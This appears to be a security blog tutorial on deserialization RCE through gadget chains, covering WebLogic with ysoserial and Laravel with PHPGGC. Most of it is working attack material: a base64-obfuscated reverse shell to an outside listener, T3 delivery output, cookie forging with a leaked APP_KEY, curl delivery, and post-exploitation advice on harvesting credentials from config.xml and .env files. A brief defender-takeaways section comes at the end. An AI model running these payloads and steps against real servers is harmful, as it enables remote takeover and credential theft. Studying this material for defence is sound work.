In 2021, the Apache Commons Collections deserialization bug (CVE-2015-4852, still alive in unpatched environments) let attackers own WebLogic servers by sending a single malicious HTTP request. No credentials. No foothold. Just a crafted serialized object and a shell. Deserialization RCE is still one of the highest-impact bug classes in production environments, and gadget chains are the mechanism that makes it work.
What Is a Gadget Chain?
When an application deserializes untrusted data, it reconstructs objects from bytes. A gadget chain is a sequence of existing classes in the application’s classpath that — when chained together during deserialization — execute attacker-controlled code. You don’t inject new code. You weaponize code that’s already there.
The attacker’s job: find a deserialization entry point, confirm vulnerable libraries exist in the classpath, pick the right chain, and generate a payload. Two tools dominate this workflow: ysoserial for Java and PHPGGC for PHP.
Java: Exploiting WebLogic with ysoserial
ysoserial is a payload generator for Java deserialization. Each named payload targets a specific library chain — CommonsCollections6, Spring1, Groovy1, and so on.
Target: 192.0.2.44:7001 running WebLogic 12.1.3 with Apache Commons Collections 3.1 on the classpath. You’ve confirmed the T3 protocol is exposed. Generate and deliver the payload:
# Generate a reverse shell payload using CommonsCollections6
java -jar ysoserial.jar CommonsCollections6 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMC4yLjk5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}' \
> cc6_payload.bin
# Deliver via WebLogic T3 using weblogic-exploit-poc.py
python3 weblogic_t3_exploit.py \
--host 192.0.2.44 \
--port 7001 \
--payload cc6_payload.bin
# Output:
[*] Connecting to 192.0.2.44:7001 via T3
[*] Sending serialized payload (1842 bytes)
[+] Payload delivered — no error response received
[*] Check your listener on 192.0.2.99:4444
The base64 blob decodes to bash -i >& /dev/tcp/192.0.2.99/4444 0>&1 — a standard reverse shell. The T3 protocol trusts the incoming object and deserializes it before any auth check runs. CommonsCollections6 chains TiedMapEntry → LazyMap → InvokerTransformer to ultimately call Runtime.exec().
What you do next: catch the shell on your listener (nc -lvnp 4444), check id and hostname, then look for service account credentials in WebLogic’s config/config.xml or wallet files. WebLogic often runs as a highly privileged user.
PHP: Exploiting Laravel with PHPGGC
PHPGGC is the PHP equivalent of ysoserial — a library of gadget chains for frameworks like Laravel, Symfony, Guzzle, and Monolog. PHP deserialization bugs appear wherever user-controlled input hits unserialize(), or in Laravel’s encrypted cookie if you’ve obtained the APP_KEY.
Target: app.internal.corp running Laravel 8.x. You found the APP_KEY in a leaked .env file on a public S3 bucket (a painfully common scenario). Generate a payload using the Laravel/RCE5 chain:
# Generate a base64-encoded serialized payload
phpggc Laravel/RCE5 system 'id > /var/www/html/pwned.txt' \
--encoded > laravel_payload.txt
cat laravel_payload.txt
# Output:
TzoyOToiSWxsdW1pbmF0ZVxCcm9hZGNhc3Rpbm...[truncated base64]
# Encrypt it as a valid Laravel session cookie using the leaked key
python3 laravel_cookie_forge.py \
--key "base64:Xv8mZ2kP9qLJd3nYwR7tHsEcA1bOuFiG6pNj0Qye4WK=" \
--payload laravel_payload.txt
# Output:
[+] Forged cookie: eyJpdiI6Ik...laravel_session value...
# Send the request
curl -s https://app.internal.corp/dashboard \
-H "Cookie: laravel_session=eyJpdiI6Ik..." \
-o /dev/null
# Verify execution
curl -s https://app.internal.corp/pwned.txt
# Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The Laravel/RCE5 chain abuses Illuminate\Broadcasting\PendingBroadcast and Illuminate\Bus\Dispatcher to reach call_user_func(). Because you forged a legitimately encrypted cookie, Laravel decrypts it, trusts it, and deserializes the payload. The id output in pwned.txt confirms code execution as www-data.
What you do next: escalate from www-data — check /var/www/html/.env for database credentials, look for writable cron jobs under the app user, and enumerate internal network access from the server. Web process accounts frequently have broader internal reach than their privilege level suggests.
Defender Takeaways
- Never deserialize untrusted input. If you own the code, replace
unserialize()with JSON or MessagePack. - Use deserialization filters. Java 9+ has
ObjectInputFilter; configure an allowlist of expected classes. - Rotate secrets immediately if a .env or config file is ever exposed — APP_KEY exposure in Laravel is a direct RCE primitive.
- Block T3/IIOP externally. WebLogic’s dangerous protocols should never be reachable from untrusted networks.
- Audit your classpath. Commons Collections 3.x on a modern app is a red flag — remove it if it’s not explicitly needed.
What To Do Now
Pull up one Java application in your environment and run jar tf app.war | grep -i commons-collections. If you see version 3.x in the output, you have a gadget chain sitting in your classpath right now. Cross-reference with your exposed endpoints and treat it as a P1 until patched or the library is removed.
